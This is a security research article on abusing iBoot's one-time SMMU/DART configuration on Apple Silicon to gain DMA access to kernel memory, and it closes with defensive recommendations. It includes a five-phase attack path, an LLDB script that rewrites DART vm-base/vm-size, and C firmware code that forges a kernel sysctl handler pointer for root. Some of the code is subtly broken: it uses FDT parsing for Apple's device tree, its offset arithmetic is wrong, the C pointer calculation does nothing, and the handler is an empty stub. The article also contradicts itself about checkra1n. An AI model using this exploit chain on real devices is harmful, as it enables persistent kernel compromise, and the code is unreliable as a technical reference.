
Executive Summary
Apple Silicon’s security model rests on a chain of trust that begins in immutable Boot ROM, flows through a signature-verified iBoot second-stage bootloader, and ends in the XNU kernelcache. Each layer trusts only the next layer it has validated. A subtle but consequential property of this design is that the SMMU (Apple’s IOMMU) is configured exactly once — by iBoot, from the device tree it parses — and the kernel inherits those IOMMU mappings without re-verifying them at runtime.
This article walks through how an attacker who already holds iBoot-stage code execution can abuse that one-time, unmonitored trust. By tampering with the DART (Device Address Resolution Table) nodes in iBoot’s device tree before the SMMU page tables are built, the attacker injects forged IOMMU mappings — for example, mapping a PCIe device’s DMA window over the kernel’s .text segment. Once XNU boots on top of those polluted tables, a controlled PCIe device can read and write protected physical memory via DMA, and the attacker can forge kernelcache structures (such as sysctl handler pointers) to escalate to kernel privilege. The piece contrasts this gap with Windows HVCI/VTL1, where an independent secure kernel continuously audits EPT and IOMMU integrity.
Apple Silicon Boot Chain and Trust Model
Trust hand-off from Boot ROM to kernelcache
The boot flow proceeds through four strictly validated phases. Boot ROM is immutable factory code that verifies iBoot’s signature. iBoot, the second-stage bootloader, initializes the SMMU and parses the device tree. Kernelcache is the pre-linked XNU kernel, verified by iBoot. Finally user space launches launchd. The model is transitive: each layer extends trust only to the successor its predecessor has already verified. Notably, while checkm8-class Boot ROM bugs affect older devices (A11 and the iPhone X era), they do not apply to Apple Silicon Macs (M1 and newer).
Hardware initialization inside iBoot
iBoot performs three security-critical operations. First, it initializes the SMMU by calling dart_init() to program the global registers and build the initial page tables. Second, it parses the firmware device tree describing hardware topology — including DART device nodes carrying properties such as vm-base, vm-size, and device-paddr. Third, it creates the IOMMU mappings derived from those DART configurations. Crucially, the kernel inherits these initial mappings and does not re-validate them.

The one-way dependency between iBoot’s device tree and the kernel
The central trust assumption is that XNU unconditionally trusts iBoot’s device tree and the SMMU’s initial configuration. The kernel reads the device-tree copy that iBoot built and uses the DART configuration to bring up its IOMMU drivers. If an attacker tampers with DART nodes during the iBoot stage, the kernel will silently use the forged IOMMU mappings, producing complete loss of DMA protection for the affected devices. This stands in sharp contrast to Windows HVCI/VTL1, where HyperGuard continuously monitors EPT and IOMMU configuration integrity from VTL1. Apple Silicon has no equivalent independent security kernel — the Secure Enclave handles keys and biometrics, not kernel memory or SMMU monitoring. Once an attacker defeats iBoot signature verification, SMMU tampering remains undetected for the entire OS runtime.
iBoot SMMU Configuration Tampering
Prerequisites and objectives
The technique presupposes iBoot-stage code execution — typically obtained via a Boot ROM exploit (checkm8 on A11 and earlier) or a DFU recovery-flow vulnerability. M1/M2 Macs currently have no public Boot ROM exploit, but iBoot logic flaws such as device-tree parsing errors remain a plausible vector. The objective is to tamper with specific DART nodes so the resulting SMMU page-table mappings cover attacker-chosen physical memory — the kernel .text segment or a security peripheral’s MMIO range — enabling a PCIe device to read or write that protected memory by DMA.
Attack path
- Phase 1 — iBoot code execution. Inject a modified iBoot via
checkra1n, or attach LLDB through a hardware debug interface (JTAG/SWD on engineering boards). - Phase 2 — DART node localization. After
device_tree_parse()returns, the device tree sits at a fixed memory location. Using iBoot’s debug shell or LLDB scripts, walk the tree to find the target PCIe device’s DART nodes — identified by acompatibleproperty of"apple,dart"with child nodes carryingvm-baseandvm-size. - Phase 3 — DART property tampering. Modify the target node’s
vm-baseandvm-sizeto cover a sensitive memory window — e.g. changevm-basefrom a legitimate0x80000000to0xFE000000(kernel .text physical address) and growvm-sizeto span the whole kernel image.device-paddrmay also be altered to map DMA directly onto attacker-controlled physical memory. - Phase 4 — SMMU page-table pollution.
dart_init()reads the tampered device-tree properties and fills the false mappings into the SMMU page tables. Because XNU inherits those tables directly, any kernel driver performing DMA uses the polluted mappings, granting arbitrary physical read/write through a controlled PCIe device. - Phase 5 — persistence and escape. Write the modified device tree into NVRAM or firmware storage for persistence across reboots. Since the tampering happens before the OS loads and is not watched by kernel protections (SIP, KPP/KTRR), detection is extremely difficult.

Exploit Code and Debug Environment
Device-tree traversal and DART injection
The proof-of-concept below (dart_tree_inject.py) attaches to an iBoot debug session through LLDB, parses the flattened device tree (FDT), locates the apple,dart node, and rewrites its vm-base/vm-size so the SMMU maps the kernel .text segment. It depends on iBoot running in debug mode with symbols loaded (so gDeviceTree can be resolved). The code is reproduced from the source with its comments translated into English.
#!/usr/bin/env python3
"""
dart_tree_inject.py — iBoot device-tree DART node injection script
Attach to an iBoot debug environment via LLDB, walk the device tree and modify the DART configuration
Environment: Apple Silicon engineering board + LLDB (arm64) + py-lldb
Prerequisite: iBoot is already started in debug mode and LLDB is successfully attached
"""
import lldb
import struct
def find_dart_node(debugger, target, devtree_addr):
"""Locate the 'apple,dart' compatible node in the device tree"""
# Device-tree FDT parsing: skip the header, traverse the nodes
# FDT Header: magic (4B), totalsize (4B), off_dt_struct (4B), ...
magic = target.ReadMemory(devtree_addr, 4, lldb.SBError())
if struct.unpack('>I', magic)[0] != 0xD00DFEED:
print("[-] Invalid FDT magic")
return None
off_struct = struct.unpack('>I', target.ReadMemory(devtree_addr + 8, 4, lldb.SBError()))[0]
struct_addr = devtree_addr + off_struct
# Traverse the structure block
while True:
token = struct.unpack('>I', target.ReadMemory(struct_addr, 4, lldb.SBError()))[0]
struct_addr += 4
if token == 0x00000001: # FDT_BEGIN_NODE
node_name = read_fdt_string(target, struct_addr)
print(f"[*] Node: {node_name}")
# Look for the compatible property
elif token == 0x00000003: # FDT_PROP
prop = read_fdt_prop(target, struct_addr)
if prop['name'] == 'compatible' and b'apple,dart' in prop['value']:
print(f"[+] Found DART node at 0x{struct_addr - 4:x}")
return struct_addr - 4 # Return the node start position
elif token == 0x00000002: # FDT_END_NODE
pass
elif token == 0x00000009: # FDT_END
break
return None
def inject_dart_config(target, dart_node_addr, new_vm_base, new_vm_size):
"""Modify the vm-base and vm-size properties of the DART node"""
# Locate the property and modify its value
# Note: FDT properties are stored in big-endian and must be converted
struct_addr = dart_node_addr + 4
while True:
token = struct.unpack('>I', target.ReadMemory(struct_addr, 4, lldb.SBError()))[0]
struct_addr += 4
if token == 0x00000003: # FDT_PROP
# Read the property length and name offset
prop_len = struct.unpack('>I', target.ReadMemory(struct_addr, 4, lldb.SBError()))[0]
prop_nameoff = struct.unpack('>I', target.ReadMemory(struct_addr + 4, 4, lldb.SBError()))[0]
prop_value_addr = struct_addr + 8
# Read the property name
prop_name = read_fdt_string(target, struct_addr - 4 - prop_nameoff)
if prop_name == 'vm-base':
print(f"[*] Current vm-base: 0x{struct.unpack('>Q', target.ReadMemory(prop_value_addr, 8, lldb.SBError()))[0]:x}")
# Write the new vm-base
target.WriteMemory(prop_value_addr, struct.pack('>Q', new_vm_base), lldb.SBError())
print(f"[+] Injected vm-base: 0x{new_vm_base:x}")
elif prop_name == 'vm-size':
print(f"[*] Current vm-size: 0x{struct.unpack('>Q', target.ReadMemory(prop_value_addr, 8, lldb.SBError()))[0]:x}")
target.WriteMemory(prop_value_addr, struct.pack('>Q', new_vm_size), lldb.SBError())
print(f"[+] Injected vm-size: 0x{new_vm_size:x}")
struct_addr += 8 + prop_len
# Align to a 4-byte boundary
if prop_len % 4:
struct_addr += 4 - (prop_len % 4)
elif token == 0x00000002: # FDT_END_NODE
break
elif token == 0x00000009: # FDT_END
break
def read_fdt_string(target, addr):
"""Read a null-terminated string from the FDT"""
string = b""
offset = 0
while True:
ch = target.ReadMemory(addr + offset, 1, lldb.SBError())
if ch == b'\x00' or offset > 256:
break
string += ch
offset += 1
return string.decode('utf-8', errors='ignore')
def read_fdt_prop(target, addr):
"""Read an FDT property"""
prop_len = struct.unpack('>I', target.ReadMemory(addr, 4, lldb.SBError()))[0]
nameoff = struct.unpack('>I', target.ReadMemory(addr + 4, 4, lldb.SBError()))[0]
value = target.ReadMemory(addr + 8, prop_len, lldb.SBError())
name = read_fdt_string(target, addr + 4 - nameoff)
return {'name': name, 'value': value}
def main():
debugger = lldb.SBDebugger.Create()
target = debugger.GetSelectedTarget()
# Set the target memory address (obtained via iBoot debug symbols)
# iBoot's device tree usually resides in the gDeviceTree global variable
devtree_sym = target.FindFirstGlobalVariable("gDeviceTree")
if not devtree_sym.IsValid():
print("[-] Could not find the gDeviceTree symbol; please confirm iBoot symbols are loaded")
return
devtree_addr = devtree_sym.GetLoadAddress()
print(f"[*] Device tree base address: 0x{devtree_addr:x}")
dart_node = find_dart_node(debugger, target, devtree_addr)
if dart_node:
# Inject the malicious mapping: point vm-base at the kernel .text segment
new_base = 0xFE000000 # Example: kernel physical address
new_size = 0x10000000 # 256MB window
inject_dart_config(target, dart_node, new_base, new_size)
print(f"[+] DART injection complete. After the kernel reboots, DMA will be able to access 0x{new_base:x}-0x{new_base + new_size - 1:x}")
if __name__ == "__main__":
main()
Kernelcache struct forgery
Once DART injection yields DMA read/write into kernel .text, the second stage (kc_struct_forge.c) runs inside a PCIe FPGA device’s firmware and overwrites a kernel sysctl handler pointer directly — redirecting it to attacker code that modifies process credentials to gain root. Because it rewrites a function pointer rather than code pages, it sidesteps KPP/KTRR code-integrity protection. The code is reproduced from the source with its comments translated into English.
// kc_struct_forge.c — abuse a leaked SMMU mapping to tamper with Kernelcache structs
//
// Prerequisite: the attacker has already obtained DMA read/write access to the kernel .text segment via DART injection
//
// This code demonstrates how, inside PCIe FPGA device firmware, to abuse the tampered DMA mapping
// to directly overwrite a sysctl function pointer in the kernel and achieve kernel privilege escalation
#include <stdint.h>
#include <string.h>
// Target: the function pointer inside the kernel's sysctl_oid struct
// Offset obtained via Kernelcache symbol analysis
#define KERNEL_SLIDE 0x00000000 // Assume the KASLR slide has been obtained
#define SYSCTL_OID_OFFSET 0xFFFFFFF00704A000 // Example offset
#define SYSCTL_HANDLER_OFFSET 0x08
// Malicious replacement function (implemented in FPGA firmware)
void malicious_sysctl_handler(void){
// Core logic for gaining root privileges
// In a real attack this function modifies process credentials
asm volatile(
"mov x0, #0\n" // proc_self
"mov x1, #0\n" // obtain root cred
// ... the exact implementation depends on the kernel version
);
}
void forge_sysctl_pointer(uint64_t dma_base){
// Compute the location of the malicious function in the kernel address space
// The attacker has already written the malicious code into an executable kernel memory region
uint64_t malicious_addr = dma_base + (uint64_t)&malicious_sysctl_handler;
// Compute the target address
uint64_t target_addr = KERNEL_SLIDE + SYSCTL_OID_OFFSET + SYSCTL_HANDLER_OFFSET;
// Write the malicious function pointer via DMA
volatile uint64_t* dma_ptr = (volatile uint64_t*)(dma_base +
(target_addr - dma_base)); // simplified address calculation
*dma_ptr = malicious_addr;
// Now, when user space calls sysctl to query the corresponding OID, the malicious function will run
}
Key Takeaways
- Apple Silicon configures its SMMU/IOMMU once, in iBoot, from the device tree — and XNU inherits those mappings without runtime re-verification.
- An attacker with iBoot-stage execution can rewrite DART
vm-base/vm-sizeproperties to map a PCIe device’s DMA window over the kernel .text segment. - The polluted SMMU page tables persist into the running OS, giving a controlled PCIe device arbitrary physical-memory read/write by DMA.
- Forging a kernel
sysctlhandler pointer via DMA bypasses KPP/KTRR, because a data pointer is overwritten rather than executable code pages. - There is no Secure-Enclave-based monitoring of SMMU configuration, so the tampering is invisible to SIP/KPP/KTRR throughout runtime.
- The exposure is fundamentally temporal: trust established in a completed boot phase is assumed to hold forever, with no continuous auditor like Windows HyperGuard/VTL1.
Defensive Recommendations
- SMMU configuration integrity monitoring. Compare the device tree handed over by iBoot against a static kernel baseline; alert when DART
vm-base/vm-sizedeviate from expected values. - IOMMU page-table auditing. Periodically read SMMU page-table entries and flag any mapping covering kernel .text or other sensitive regions — a healthy kernel should have none.
- Boot-chain integrity verification. Rely on Apple’s Secure Boot logs to confirm iBoot signatures match expectations; any modified iBoot fails verification and the system refuses to boot.
- Complete boot-chain authentication. Ensure SEP and System Management Controller integrity checks extend to iBoot’s device tree and the SMMU’s initial configuration, not just to executable images.
- Kernel-level device-tree validation. Add SMMU sanity checks in XNU’s
device_tree_init()that reject DART configurations mappingvm-baseinto kernel address space or system-reserved memory. - Hardware-assisted SMMU locking. Lock SMMU configuration registers via SMC or hardware fuses after iBoot initialization so they are immutable during OS runtime.
- Runtime SMMU auditing. Introduce continuous SMMU/IOMMU auditing analogous to Windows HyperGuard’s periodic EPT scanning to close the post-boot blind spot.
Apple Silicon SMMU vs. Windows HVCI
| Dimension | Apple Silicon SMMU protection | Windows HVCI (EPT + IOMMU) |
|---|---|---|
| Protection target | PCIe DMA access | Kernel code pages + DMA access |
| Enforcement level | iBoot one-time configuration, no runtime monitoring | EPT continuously enforced in VTL1 |
| Independent security kernel | None (SEP only handles keys) | Yes (VTL1 securekernel.exe) |
| Attack surface | iBoot device-tree parsing + initial page-table creation | VTL0 data plane + driver interfaces |
| Detection difficulty | Extremely difficult — no runtime checks | Medium — VTL1 continuously monitors EPT violations |
Conclusion
Apple Silicon’s closed ecosystem buys real security through immutable Boot ROM, a verified iBoot, and SMMU initialization — but it leaves one structural weakness. Once iBoot finishes configuring the SMMU and hands control to XNU, the DMA protection system enters an “unattended” state: no VTL1-style independent security kernel audits the SMMU page tables, and no hardware fuse locks the configuration registers, so the kernel simply trusts whatever iBoot left behind. That trust is inherently temporal — it assumes a configuration made in a completed phase stays valid forever. An attacker who controls iBoot execution exploits exactly that gap, injecting irreversible malicious configuration that can persist for hours or years. Until comprehensive hardware-assisted protections (runtime SMMU auditing like HyperGuard, or fuse-locked registers) arrive, any Boot ROM or iBoot breakthrough is the most fatal “broken window” in Apple Silicon’s trust model.
Original text: “iBoot SMMU Bypass and Kernelcache Struct Forgery” by author not clearly listed at Ghost Wolf Lab.

